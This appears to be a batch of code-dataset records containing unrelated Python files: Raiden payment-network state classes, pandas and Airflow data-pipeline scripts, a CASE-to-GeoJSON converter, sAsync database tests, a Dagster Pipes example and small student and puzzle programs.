TokenNetworkState(State):\n \"\"\" Corresponds to a token network smart contract. \"\"\"\n\n address: TokenNetworkAddress\n token_address: TokenAddress\n network_graph: TokenNetworkGraphState = field(repr=False)\n channelidentifiers_to_channels: Dict[ChannelID, NettingChannelState] = field(\n repr=False, default_factory=dict\n )\n partneraddresses_to_channelidentifiers: Dict[Address, List[ChannelID]] = field(\n repr=False, default_factory=lambda: defaultdict(list)\n )\n\n def __post_init__(self) -> None:\n if not isinstance(self.address, T_Address):\n raise ValueError(\"address must be an address instance\")\n\n if not isinstance(self.token_address, T_Address):\n raise ValueError(\"token_address must be an address instance\")\n\n self.partneraddresses_to_channelidentifiers = defaultdict(\n list, self.partneraddresses_to_channelidentifiers\n )\n\n\n@dataclass\nclass PaymentNetworkState(State):\n \"\"\" Corresponds to a registry smart contract. \"\"\"\n\n address: PaymentNetworkAddress\n token_network_list: List[TokenNetworkState]\n tokennetworkaddresses_to_tokennetworks: Dict[TokenNetworkAddress, TokenNetworkState] = field(\n repr=False, default_factory=dict\n )\n tokenaddresses_to_tokennetworkaddresses: Dict[TokenAddress, TokenNetworkAddress] = field(\n repr=False, default_factory=dict\n )\n\n def __post_init__(self) -> None:\n if not isinstance(self.address, T_Address):\n raise ValueError(\"address must be an address instance\")\n\n if not self.tokennetworkaddresses_to_tokennetworks:\n self.tokennetworkaddresses_to_tokennetworks: Dict[\n TokenNetworkAddress, TokenNetworkState\n ] = {token_network.address: token_network for token_network in self.token_network_list}\n if not self.tokenaddresses_to_tokennetworkaddresses:\n self.tokenaddresses_to_tokennetworkaddresses: Dict[\n TokenAddress, TokenNetworkAddress\n ] = {\n token_network.token_address: token_network.address\n for token_network in self.token_network_list\n }\n\n\n@dataclass(repr=False)\nclass ChainState(State):\n \"\"\" Umbrella object that stores the per blockchain state.\n For each registry smart contract there must be a payment network. Within the\n payment network the existing token networks and channels are registered.\n\n TODO: Split the node specific attributes to a \"NodeState\" class\n \"\"\"\n\n pseudo_random_generator: random.Random = field(compare=False)\n block_number: BlockNumber\n block_hash: BlockHash\n our_address: Address\n chain_id: ChainID\n identifiers_to_paymentnetworks: Dict[PaymentNetworkAddress, PaymentNetworkState] = field(\n repr=False, default_factory=dict\n )\n nodeaddresses_to_networkstates: Dict[Address, str] = field(repr=False, default_factory=dict)\n payment_mapping: PaymentMappingState = field(repr=False, default_factory=PaymentMappingState)\n pending_transactions: List[ContractSendEvent] = field(repr=False, default_factory=list)\n queueids_to_queues: QueueIdsToQueues = field(repr=False, default_factory=dict)\n last_transport_authdata: Optional[str] = field(repr=False, default=None)\n tokennetworkaddresses_to_paymentnetworkaddresses: Dict[\n TokenNetworkAddress, PaymentNetworkAddress\n ] = field(repr=False, default_factory=dict)\n\n def __post_init__(self) -> None:\n if not isinstance(self.block_number, T_BlockNumber):\n raise ValueError(\"block_number must be of BlockNumber type\")\n\n if not isinstance(self.block_hash, T_BlockHash):\n raise ValueError(\"block_hash must be of BlockHash type\")\n\n if not isinstance(self.chain_id, T_ChainID):\n raise ValueError(\"chain_id must be of ChainID type\")\n\n def __repr__(self):\n return (\n \"ChainState(block_number={} block_hash={} networks={} \" \"qty_transfers={} chain_id={})\"\n ).format(\n self.block_number,\n pex(self.block_hash),\n # pylint: disable=E1101\n lpex(self.identifiers_to_paymentnetworks.keys()),\n # pylint: disable=E1101\n len(self.payment_mapping.secrethashes_to_task),\n self.chain_id,\n )\n","repo_name":"hoonkii/raiden","sub_path":"raiden/transfer/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":19320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"36725288252","text":"import pandas as pd\nimport numpy as np\nimport os\nimport sys\nimport json\nimport time\nimport gc\ngc.enable()\n\ndataPath = '../../../data/avito-demand-prediction'\n\nif __name__ == \"__main__\":\n ss = time.time()\n df_lst = []\n for i in range(15):\n train_active = pd.read_hdf(f'{dataPath}/train_active_h5/train_active_basic_Data_{i}.h5', key='/Raw', mode='r')\n print(f'train_active_{i}.h5 loaded! {time.time()-ss:.2f} s')\n df_lst.append(train_active)\n del train_active\n gc.collect()\n\n for i in range(13):\n test_active = pd.read_hdf(f'{dataPath}/test_active_h5/test_active_basic_Data_{i}.h5', key='/Raw', mode='r')\n print(f'test_active_{i}.h5 loaded! {time.time()-ss:.2f} s')\n df_lst.append(test_active)\n del test_active\n gc.collect()\n\n df_active = pd.concat(df_lst, ignore_index=True)\n print(f'Active data combined! {time.time()-ss:.2f} s')\n\n del df_lst\n gc.collect()\n\n train_basic = pd.read_hdf(f'{dataPath}/basicData.h5', key='trainRaw', mode='r')\n test_basic = pd.read_hdf(f'{dataPath}/basicData.h5', key='testRaw', mode='r')\n\n df_all = pd.concat([df_active, train_basic, test_basic], ignore_index=True)\n print(f'Combine all Data! {time.time()-ss:.2f} s')\n\n df_all.drop_duplicates(['item_id'], inplace=True)\n df_all.reset_index(inplace=True)\n df_all.drop(['index'], axis=1, inplace=True)\n print(f'Dropped duplicates in all data. {time.time()-ss:.2f} s')\n \n del train_basic\n del test_basic\n del df_active\n gc.collect()\n\n print('Saving data...')\n if 'all_active_data.feather' in os.listdir(f'{dataPath}'):\n os.remove(f'{dataPath}/all_active_data.feather')\n print(f'Remove old all_active_data.feather')\n\n df_all.to_feather(f'{dataPath}/all_active_data.feather')\n print(f'all_active_data.feather saved! {time.time()-ss:.2f} s')\n","repo_name":"LowPass-DataScience/avito-demand-prediction-chanllege","sub_path":"avito-demand-prediction-challenge/python_codes/active_hdf5_to_feather.py","file_name":"active_hdf5_to_feather.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"26642536038","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 2 17:53:42 2021\n\n@author: ishka\n\"\"\"\n\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 26 14:48:17 2021\n\n@author: mathi\n\"\"\"\n\n# C:\\Users\\mathi\\OneDrive\\Desktop\\Trained_Output.txt\n\n\ndef function2(probability_1a,probability_2a,languages):\n\n print('Enter some text\\n')\n text = input()\n j=0\n k= 0\n\n alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ' ']\n count =[0]*28\n probability = [0]*28\n list1 = [0]*28\n list2 = [0]*28\n \n \n probability_1 = [float(i) for i in probability_1a]\n probability_2 = [float(i) for i in probability_2a]\n \n for i in text:\n k = k+1\n \n \n for i in text:\n for j in range(len(alphabet)):\n if i == alphabet[j]:\n count[j] = count[j]+1\n \n for i in range(len(alphabet)):\n probability[i] = count[i]/k\n \n \n for i in range(len(alphabet)):\n if probability[i] > probability_2[i]:\n list1[i] = probability[i] - probability_2[i]\n elif probability[i] < probability_2[i]:\n list1[i] = probability_2[i] - probability[i]\n \n \n for i in range(len(alphabet)):\n if probability[i] > probability_1[i]:\n list2[i] = probability[i] - probability_1[i]\n elif probability[i] < probability_1[i]:\n list2[i] = probability_1[i] - probability[i]\n \n \n\n if sum(list1)< sum(list2):\n print('\\nYour text is in' ,languages[0])\n else:\n print ('\\nYour text is in', languages[28])\n \n \n \n \n \n \n \n\nprint ('what is your file location')\nlocation= input()\n\n\nvariable1 = open(location, \"r\")\ncount = len(open(location).readlines())\n\n\n''' THIS PART OF THE CODE DETECT WHAT LANGUAGE EACH INDIVIDUAL FILE IS IN'''\n\nprobability_language_1 = [0]*28\nprobability_language_2 = [0]*28\n\nlanguages = variable1.readlines()\n\n \nfor i in range(1,28):\n probability_language_1[i] = languages[i]\n\n\nfor i in range(29,56):\n probability_language_2[(i-29)] = languages[i]\n\nvariable1.close()\n\nfunction2(probability_language_1, probability_language_2, languages)","repo_name":"ishkacolhoun/University_Code","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"37871744672","text":"import json\nimport sys\nfrom os.path import exists, isdir, isfile\nfrom typing import List\n\nfrom geotypes import GeoRecord\nfrom geoutilities import records_to_geojson, remove_nulls\nfrom rdflib import Graph\n\n# Parse the arguments from the CLI to get the input and output filenames\nif len(sys.argv) != 3:\n print(\"Usage: python case2geojson.py \")\n sys.exit(1)\n\ninput_filename: str = sys.argv[1]\noutput_filename: str = sys.argv[2]\n\n# Ensure the input file exists\nif not exists(input_filename) and not isfile(input_filename):\n print(f\"File not found: {input_filename}\")\n sys.exit(1)\n\n# Ensure the output directory exists\noutput_directory: str = output_filename[: output_filename.rfind(\"/\")]\nif not exists(output_directory) and not isdir(output_directory):\n print(f\"Directory not found: {output_directory}\")\n sys.exit(1)\n\n# Build the rdflib graph from the input file\ngraph: Graph = Graph()\ngraph.parse(input_filename)\n\n# Write the SPARQL query to get the data from the graph\nquery: str = \"\"\"\n SELECT ?lLatitude ?lLongitude ?lAddressType ?lCountry ?lLocality ?lPostalCode ?lRegion ?lStreet\n WHERE\n {\n ?nLocation a uco-location:Location .\n OPTIONAL\n {\n ?nLocation uco-core:hasFacet ?nLatLongFacet .\n ?nLatLongFacet a uco-location:LatLongCoordinatesFacet .\n OPTIONAL { ?nLatLongFacet uco-location:latitude ?lLatitude . }\n OPTIONAL { ?nLatLongFacet uco-location:longitude ?lLongitude . }\n }\n\n OPTIONAL {\n ?nLocation uco-core:hasFacet ?nSimpleAddressFacet .\n ?nSimpleAddressFacet a uco-location:SimpleAddressFacet .\n OPTIONAL { ?nSimpleAddressFacet uco-location:addressType ?lAddressType . }\n OPTIONAL { ?nSimpleAddressFacet uco-location:country ?lCountry . }\n OPTIONAL { ?nSimpleAddressFacet uco-location:locality ?lLocality . }\n OPTIONAL { ?nSimpleAddressFacet uco-location:postalCode ?lPostalCode . }\n OPTIONAL { ?nSimpleAddressFacet uco-location:region ?lRegion . }\n OPTIONAL { ?nSimpleAddressFacet uco-location:street ?lStreet . }\n }\n }\n \"\"\"\n\nresults = graph.query(query)\n\n# Define the list of GeoRecords\nrecords: List[GeoRecord] = []\n\n# Loop through the results and add them to the list of GeoRecords if the latitude and longitude are present\nfor row in results:\n geo_record: GeoRecord = GeoRecord()\n geo_record.Latitude = row.lLatitude\n geo_record.Longitude = row.lLongitude\n geo_record.AddressType = row.lAddressType\n geo_record.Country = row.lCountry\n geo_record.Locality = row.lLocality\n geo_record.PostalCode = row.lPostalCode\n geo_record.Region = row.lRegion\n geo_record.Street = row.lStreet\n records.append(geo_record)\n\n# Convert the data to a GeoJSON structured object\ngeoJSON = records_to_geojson(records)\n\n# Remove null values from the GeoJSON object\ngeoDict: dict = geoJSON.reprJSON()\ngeoDict = remove_nulls(geoDict)\n\n# Write the GeoJSON object to the output file\nwith open(output_filename, \"w\") as output_file:\n output_file.write(json.dumps(geoDict, indent=4))\n","repo_name":"casework/CASE-Examples-Conversion","sub_path":"python/CASE2GeoJSON.py","file_name":"CASE2GeoJSON.py","file_ext":"py","file_size_in_byte":3384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"35173725846","text":"import logging, random\nfrom twisted.internet import defer\n\nimport sqlalchemy as SA\n\nfrom asynqueue import info, iteration\n\nfrom people import PeopleBroker\nfrom testbase import deferToDelay, TestHandler, IterationConsumer, TestCase\n\nfrom database import transact\n\n\nVERBOSE = False\n\nDELAY = 0.5\nDB_URL = 'mysql://test@localhost/test'\n#DB_URL = 'sqlite://'\n\n\nclass FakeConnection:\n def __init__(self):\n self.wasClosed = False\n def close(self):\n self.wasClosed = True\n\n\nclass TestImmediateShutdown(TestCase):\n def test_shutdown(self):\n broker = PeopleBroker(DB_URL)\n return broker.shutdown()\n\n \nclass BrokerTestCase(TestCase):\n verbose = False\n spew = False\n\n def brokerFactory(self, **kw):\n if 'verbose' not in kw:\n kw['verbose'] = self.isVerbose()\n if 'spew' not in kw:\n kw['spew'] = self.spew\n return PeopleBroker(DB_URL, **kw)\n \n def setUp(self):\n self.handler = TestHandler(self.isVerbose())\n logging.getLogger('asynqueue').addHandler(self.handler)\n self.broker = self.brokerFactory()\n return self.broker.waitUntilRunning()\n \n @defer.inlineCallbacks\n def tearDown(self):\n if getattr(getattr(self, 'broker', None), 'running', False):\n for tableName in ('people', 'foobars'):\n if hasattr(self.broker, tableName):\n yield self.broker.sql(\"DROP TABLE {}\".format(tableName))\n yield self.broker.shutdown()\n\n \nclass TestBasics(BrokerTestCase):\n verbose = False\n spew = False\n\n def _oneShutdown(self, null, broker):\n self.msg(\"Done shutting down broker '{}'\", broker)\n\n def test_barebones(self):\n self.assertTrue(hasattr(self, 'broker'))\n self.assertTrue(hasattr(self.broker, 'people'))\n \n @defer.inlineCallbacks\n def test_multipleShutdowns(self):\n for k in xrange(10):\n yield self.broker.shutdown()\n yield deferToDelay(0.02)\n \n def test_shutdownTwoBrokers(self):\n def shutEmDown(null):\n dList = []\n for broker in (self.broker, anotherBroker):\n dList.append(\n broker.shutdown().addCallback(\n self._oneShutdown, broker))\n return defer.DeferredList(dList)\n anotherBroker = self.brokerFactory()\n return anotherBroker.waitUntilRunning().addCallback(shutEmDown)\n\n def test_connect(self):\n def gotAll(null):\n prevItem = mutable.pop()\n while mutable:\n thisItem = mutable.pop()\n # Both should be connections, not necessarily the same\n # one\n self.failUnlessEqual(type(thisItem), type(prevItem))\n prevItem = thisItem\n\n mutable = []\n d1 = self.broker.connect().addCallback(mutable.append)\n d2 = self.broker.connect().addCallback(mutable.append)\n d3 = deferToDelay(DELAY).addCallback(\n lambda _: self.broker.connect()).addCallback(mutable.append)\n return defer.DeferredList([d1, d2, d3]).addCallback(gotAll)\n\n @defer.inlineCallbacks\n def test_twoConnections(self):\n firstConnection = yield self.broker.connect()\n yield self.broker.shutdown()\n self.broker = self.brokerFactory()\n secondConnection = yield self.broker.connect()\n self.failUnlessEqual(type(firstConnection), type(secondConnection))\n\n @defer.inlineCallbacks\n def test_sameUrlSameQueue(self):\n anotherBroker = self.brokerFactory()\n yield anotherBroker.waitUntilRunning()\n self.assertEqual(self.broker.q, anotherBroker.q)\n # The shutdown from one broker MUST be completed before any\n # other is tried.\n yield anotherBroker.shutdown()\n yield self.broker.shutdown()\n\n @defer.inlineCallbacks\n def test_deferToQueue_errback(self):\n anotherBroker = self.brokerFactory(returnFailure=True)\n d = anotherBroker.deferToQueue(lambda x: 1/0, 0)\n d.addCallbacks(\n lambda _: self.fail(\"Should have done the errback instead\"),\n self.assertIsFailure)\n yield d\n yield anotherBroker.shutdown()\n\n @defer.inlineCallbacks\n def test_transact_errback(self):\n anotherBroker = self.brokerFactory(returnFailure=True)\n d = anotherBroker.erroneousTransaction()\n d.addCallbacks(\n lambda _: self.fail(\"Should have done the errback instead\"),\n self.assertIsFailure)\n yield d\n yield anotherBroker.shutdown()\n\n @defer.inlineCallbacks\n def test_handleResult_asList(self):\n def getResultToHandle():\n col = self.broker.people.c\n s = SA.select([col.name_first, col.name_last])\n return s.execute()\n rp = yield self.broker.deferToQueue(getResultToHandle)\n rowList = yield self.broker.handleResult(rp, asList=True)\n self.assertEqual(len(rowList), 5)\n for row in rowList:\n self.assertIn(row, self.broker.defaultRoster)\n \n @defer.inlineCallbacks\n def test_handleResult_asDeferator(self):\n def getResultToHandle():\n col = self.broker.people.c\n s = SA.select([col.name_first, col.name_last])\n return s.execute()\n fc = FakeConnection()\n rp = yield self.broker.deferToQueue(getResultToHandle)\n dr = yield self.broker.handleResult(rp, conn=fc)\n for k, d in enumerate(dr):\n row = yield d\n self.assertIn(row, self.broker.defaultRoster)\n self.assertEqual(k, 4)\n self.assertTrue(fc.wasClosed)\n\n @defer.inlineCallbacks\n def test_handleResult_asProducer(self):\n def getResultToHandle():\n col = self.broker.people.c\n s = SA.select([col.name_first, col.name_last])\n return s.execute()\n fc = FakeConnection()\n rp = yield self.broker.deferToQueue(getResultToHandle)\n consumer = IterationConsumer(self.verbose, 0.05)\n yield self.broker.handleResult(rp, consumer=consumer, conn=fc)\n yield consumer.d\n for k, row in enumerate(consumer.data):\n self.assertIn(row, self.broker.defaultRoster)\n self.assertEqual(k, 4)\n self.assertTrue(fc.wasClosed)\n \n @defer.inlineCallbacks\n def test_handleResult_empty(self):\n def getResultToHandle():\n col = self.broker.people.c\n s = SA.select(\n [col.name_first, col.name_last]).where(\n col.name_first == 'Impossible')\n return s.execute()\n rp = yield self.broker.deferToQueue(getResultToHandle)\n result = yield self.broker.handleResult(rp)\n self.assertEqual(result, [])\n \n\nclass TestTables(BrokerTestCase):\n verbose = False\n spew = False\n\n def _tableList(self):\n \"\"\"\n Adapted from\n https://www.mail-archive.com/sqlalchemy@googlegroups.com/msg00462.html\n \"\"\"\n def done(rows):\n return [x[0] for x in rows]\n \n eng = self.broker.q.engine\n if eng.name == 'sqlite':\n sql = \"\"\"\n SELECT name FROM sqlite_master\n WHERE type='table'\n ORDER BY name;\"\"\"\n elif eng.name == 'postgres':\n sql = \"\"\"\n SELECT c.relname as name,\n n.nspname as schema,c.relkind,\n u.usename as owner\n FROM pg_catalog.pg_class c\n LEFT JOIN pg_catalog.pg_user u ON u.usesysid = c.relowner\n LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace\n WHERE c.relkind IN ('r') AND pg_catalog.pg_table_is_visible(c.oid)\n ORDER BY 1,2;\n \"\"\"\n elif eng.name == 'mysql':\n sql = \"SHOW TABLES\"\n return self.broker.sql(sql).addCallback(done)\n \n @defer.inlineCallbacks\n def test_table(self):\n yield self.broker.makeFoobarTable()\n tables = yield self._tableList()\n for tableName in ('people', 'foobars'):\n self.assertIn(tableName, tables)\n\n @defer.inlineCallbacks\n def test_createTableWithIndex(self):\n yield self.broker.table(\n 'table_indexed',\n SA.Column('id', SA.Integer, primary_key=True),\n SA.Column('foo', SA.String(32)),\n SA.Column('bar', SA.String(64)),\n index_foobar=['foo', 'bar'])\n tables = yield self._tableList()\n self.assertIn('table_indexed', tables)\n yield self.broker.sql(\"DROP TABLE table_indexed\")\n\n @defer.inlineCallbacks\n def test_createTableWithUnique(self):\n yield self.broker.table(\n 'table_unique',\n SA.Column('id', SA.Integer, primary_key=True),\n SA.Column('foo', SA.String(32)),\n SA.Column('bar', SA.String(64)),\n unique_foobar=['foo', 'bar'])\n tables = yield self._tableList()\n self.assertIn('table_unique', tables)\n yield self.broker.sql(\"DROP TABLE table_unique\")\n\n @defer.inlineCallbacks\n def test_makeNewTable(self):\n yield self.broker.makeFoobarTable().addErrback(self.oops)\n table = self.broker.foobars\n isType = str(type(table))\n self.assertPattern(\n r'sqlalchemy.+[tT]able',\n \"AccessBroker().foobars should be an sqlalchemy Table() \"+\\\n \"object, but is '{}'\".format(isType))\n\n\nclass TestTransactions(BrokerTestCase):\n verbose = False\n spew = False\n\n def test_selectOneAndTwoArgs(self):\n def runInThread():\n self.failUnlessEqual(s('thisSelect'), False)\n s([self.broker.people], self.broker.people.c.id==1)\n self.failUnlessEqual(s('thisSelect'), True)\n self.failUnlessEqual(s('thatSelect'), False)\n s = self.broker.s\n return self.broker.q.call(runInThread).addErrback(self.oops)\n\n @defer.inlineCallbacks\n def test_selectZeroArgs(self):\n def runInThread():\n s('roosevelts')\n s([self.broker.people],\n self.broker.people.c.name_last == 'Roosevelt')\n return s().execute().fetchall()\n s = self.broker.s\n yield self.broker.q.call(runInThread)\n rows = yield self.broker.q.call(runInThread).addErrback(self.oops)\n nameList = [row[self.broker.people.c.name_first] for row in rows]\n for lastName in ('Franklin', 'Theodore'):\n self.failUnless(lastName in nameList)\n\n @defer.inlineCallbacks\n def test_iterate(self):\n dr = yield self.broker.everybody()\n self.assertIsInstance(dr, iteration.Deferator)\n rows = []\n for k, d in enumerate(dr):\n row = yield d\n self.msg(\"Row #{:d}: {}\", k+1, row)\n self.assertNotIn(row, rows)\n rows.append(row)\n self.assertEqual(len(rows), 5)\n \n @defer.inlineCallbacks\n def test_iterate_withConsumer(self):\n consumer = IterationConsumer(self.verbose)\n yield self.broker.everybody(consumer=consumer)\n self.assertEqual(len(consumer.data), 5)\n \n @defer.inlineCallbacks\n def test_iterate_nextWhileIterating(self):\n slowConsumer = IterationConsumer(self.verbose, writeTime=0.2)\n # In this case, do NOT wait for the done-iterating deferred\n # before doing another transaction\n d = self.broker.everybody(consumer=slowConsumer)\n # Add a new person while we are iterating the people from the\n # last query\n yield self.broker.addPerson(\"George\", \"Washington\")\n # Confirm we have one more person now\n fastConsumer = IterationConsumer(self.verbose)\n yield self.broker.everybody(consumer=fastConsumer)\n self.assertEqual(len(fastConsumer.data), 6)\n # Now wait for the slow consumer\n yield d\n # It still should only have gotten the smaller number of people\n self.assertEqual(len(slowConsumer.data), 5)\n # Wait for the slow consumer's last write delay, just to avoid\n # unclean reactor messiness\n yield slowConsumer.d\n\n @defer.inlineCallbacks\n def test_selex_select(self):\n cols = self.broker.people.c\n with self.broker.selex(cols.name_first) as sh:\n sh.where(cols.name_last == 'Luther')\n row = yield sh(asList=True)\n self.assertEqual(row[0][0], 'Martin')\n\n @defer.inlineCallbacks\n def test_selex_delete(self):\n table = self.broker.people\n with self.broker.selex(table.delete) as sh:\n sh.where(table.c.name_last == 'Luther')\n rp = yield sh(raw=True)\n N = rp.rowcount\n self.assertGreater(N, 0)\n\n def test_selex_nested(self):\n def gotMembers(members):\n self.assertIn(\"Franklin\", members)\n self.assertIn(\"Theodore\", members)\n return self.broker.familyMembers(\"Roosevelt\").addCallback(gotMembers)\n \n @defer.inlineCallbacks \n def test_selectorator(self):\n cols = self.broker.people.c\n s = self.broker.select([cols.name_last, cols.name_first])\n dr = yield self.broker.selectorator(s)\n rows = []\n for k, d in enumerate(dr):\n row = yield d\n self.msg(\"Row #{:d}: {}\", k+1, row)\n self.assertNotIn(row, rows)\n rows.append(row)\n self.assertEqual(len(rows), 5)\n\n @defer.inlineCallbacks\n def test_selectorator_withConsumer(self):\n consumer = IterationConsumer(self.verbose)\n cols = self.broker.people.c\n s = self.broker.select([cols.name_last, cols.name_first])\n consumer = yield self.broker.selectorator(s, consumer)\n self.assertEqual(len(consumer.data), 5)\n\n @defer.inlineCallbacks\n def test_selectorator_twoConcurrently(self):\n slowConsumer = IterationConsumer(self.verbose, writeTime=0.2)\n cols = self.broker.people.c\n # In this case, do NOT wait for the done-iterating deferred\n # before doing another selectoration\n dSelectExecuted = defer.Deferred()\n s = self.broker.select([cols.name_last, cols.name_first])\n d = self.broker.selectorator(s, slowConsumer, dSelectExecuted)\n # Wait until the query was executed...\n yield dSelectExecuted\n # ...then add a new person while we are iterating the people\n # from that query\n yield self.broker.addPerson(\"George\", \"Washington\")\n # Confirm we have one more person now\n fastConsumer = IterationConsumer(self.verbose)\n yield self.broker.everybody(consumer=fastConsumer)\n #self.assertEqual(len(fastConsumer.data), 6)\n # Now wait for the slow consumer\n yield d\n # It still should only have gotten the smaller number of people\n self.assertEqual(len(slowConsumer.data), 5)\n # Wait for the slow consumer's last write delay, just to avoid\n # unclean reactor messiness\n yield slowConsumer.d\n\n def test_transactionAutoStartup(self):\n d = self.broker.fakeTransaction(1)\n d.addCallback(self.failUnlessEqual, 2)\n return d\n\n def test_nestTransactions(self):\n d = self.broker.nestedTransaction(1)\n d.addCallback(self.failUnlessEqual, 3)\n return d\n\n @defer.inlineCallbacks\n def test_produceRows(self):\n def initialInstead(name):\n delay = random.uniform(0, 0.2)\n return deferToDelay(delay).addCallback(\n lambda _: \"{}.\".format(name[0].upper()))\n duggars = [\n 'Alice', 'bob', 'Charlie', 'david',\n 'Engelbert', 'Francis', 'george', 'Hortense',\n 'Ivan', 'Jim', 'kate', 'Lolita',]\n IDs = yield self.broker.produceRows(\n initialInstead, duggars,\n self.broker.people, 'name_first', name_last='Duggar')\n N = len(duggars)\n self.msg(\"Wrote {:d} new rows, got IDs: {}\", N, IDs)\n self.assertEqual([int(x[0]) for x in IDs], range(6, N+6))\n names = yield self.broker.familyMembers('Duggar')\n for k, letter in enumerate(\"ABCDEFGHIJKL\"):\n self.assertEqual(names[k], \"{}.\".format(letter))\n \n","repo_name":"edsuom/sAsync","sub_path":"sasync/test/test_database.py","file_name":"test_database.py","file_ext":"py","file_size_in_byte":16174,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"9880005437","text":"import pandas as pd\nfrom dagster_pipes import PipesContext, open_dagster_pipes\n\n\ndef main():\n orders_df = pd.DataFrame({\"order_id\": [1, 2], \"item_id\": [432, 878]})\n total_orders = len(orders_df)\n # get the Dagster Pipes context\n context = PipesContext.get()\n # send structured metadata back to Dagster\n context.report_asset_materialization(metadata={\"total_orders\": total_orders})\n\n\nif __name__ == \"__main__\":\n # connect to Dagster Pipes\n with open_dagster_pipes():\n main()\n","repo_name":"dagster-io/dagster","sub_path":"examples/docs_snippets/docs_snippets/guides/dagster/dagster_pipes/subprocess/part_2/step_3_materialization/external_code.py","file_name":"external_code.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":8986,"dataset":"github-code","pt":"53"}
+{"seq_id":"15913317707","text":"from airflow import DAG\nfrom airflow.providers.http.sensors.http import HttpSensor\nfrom airflow.operators.python import PythonOperator\nfrom airflow.operators.python import PythonVirtualenvOperator\nfrom airflow.operators.bash import BashOperator\nfrom airflow.sensors.filesystem import FileSensor\nfrom airflow.operators.email import EmailOperator\n\n\nfrom datetime import datetime, timedelta\n\n\ndefault_args = {\n \"owner\":\"airflow\",\n \"email_on_failure\": True,\n \"email_on_retry\": True,\n \"email\":\"jsbazman@gmail.com\",\n \"retries\": 3,\n \"retry_delay\": timedelta(minutes = 5)\n}\n\n\ndef download_csv():\n \"\"\"\n This function get data from a URL and saves it locally as CSV file in the specified path\n \"\"\"\n\n import requests\n\n url = 'https://raw.githubusercontent.com/jbassie/WEB-SCRAPING/main/REAL_ESTATE/data/aruba_reality.csv'\n file_path = '/mnt/c/Users/ALIENWARE/Documents/LEARNING/data-engineering1/data/real_estate.csv'\n try:\n response = requests.get(url)\n if response.status_code ==200:\n with open(file_path, 'wb') as file:\n file.write(response.content)\n print(f\"File downloaded and Saved to {file_path}\")\n else:\n print(f\"Failed to download file {response.status_code}\")\n except Exception as e:\n print(f\"An Exception Occured: {str(e)}\")\n\n\ndef convert_to_parquet():\n \"\"\"\n Using Pandas Library,we will convert a csv file to a parquet file\n \"\"\"\n import pandas as pd\n import fastparquet\n\n columns= ['name','location','property_status','property_type','price','bedrooms','bathrooms','Pool','Latitude','Longitude','link']\n import_data = pd.read_csv('/mnt/c/Users/ALIENWARE/Documents/LEARNING/data-engineering1/data/real_estate.csv')\n import_data = list(import_data)\n data = pd.DataFrame([import_data], columns=columns)\n data.to_parquet('/mnt/c/Users/ALIENWARE/Documents/LEARNING/data-engineering1/data/real_estate.parquet', engine= 'fastparquet')\n print(\"Sucessfully created a Parquet File\")\n\n\n\nwith DAG('simple_dag', start_date = datetime(2023,9,29),\n schedule_interval = '0 8 * * * ', default_args = default_args, catchup = False) as dag:\n\n #check if the URL is available \n is_data_available = HttpSensor(\n task_id = 'is_data_available',\n http_conn_id = 'real_estate_api',\n endpoint = 'jbassie/WEB-SCRAPING/main/REAL_ESTATE/data/aruba_reality.csv',\n response_check = lambda response: \"name\" in response.text,\n poke_interval = 5,\n timeout = 20\n )\n\n download_csv = PythonVirtualenvOperator(\n task_id = 'download_csv',\n python_callable = download_csv,\n dag = dag,\n email_on_failure = True,\n system_site_packages = True\n )\n\n #check if a real_estate.csv file is available locally\n is_real_estate_file_available = FileSensor(\n task_id = 'is_real_estate_file_available',\n fs_conn_id = 'data_path',\n filepath = 'real_estate.csv',\n poke_interval = 5,\n timeout = 20\n )\n\n convert_to_parquet = PythonVirtualenvOperator(\n task_id = 'convert_to_parquet',\n python_callable = convert_to_parquet,\n dag = dag,\n system_site_packages = True,\n email_on_failure = True\n )\n\n send_email_notification = EmailOperator(\n task_id = \"send_email_notification\",\n to = \"jsbazman@gmail.com\",\n subject = 'Simple Dag',\n html_content = \" Congratulations, your pipeline was successful !! \"\n )\n\nis_data_available >> download_csv >> is_real_estate_file_available >> convert_to_parquet >> send_email_notification\n","repo_name":"jbassie/WEB-SCRAPING","sub_path":"simple_dag.py","file_name":"simple_dag.py","file_ext":"py","file_size_in_byte":3685,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"40309740050","text":"import sys\n\ndef solution(n,m,space):\n dx = [1,1,1]\n dy = [-1,0,1]\n dp = [[[1e7,1e7,1e7] for _ in range(m)] for _ in range(n)]\n\n for i in range(m):\n for j in range(3):\n dp[0][i][j] = space[0][i]\n \n for i in range(1, n):\n for j in range(m):\n for k in range(3):\n for l in range(3):\n if k == l or not( 0 <= i - dx[l] < n and 0 <= j - dy[l] < m ):\n continue\n dp[i][j][k] = min(dp[i-dx[l]][j-dy[l]][l] + space[i][j], dp[i][j][k])\n\n ans = []\n for a in dp[-1]:\n ans.append(min(a))\n \n print(min(ans))\n\n\n\nif __name__ == \"__main__\" :\n input = sys.stdin.readline\n n,m = map(int,input().split())\n space = [list(map(int,input().split())) for _ in range(n)]\n solution(n,m,space)","repo_name":"choisaywhy/boj","sub_path":"grd/17485.py","file_name":"17485.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
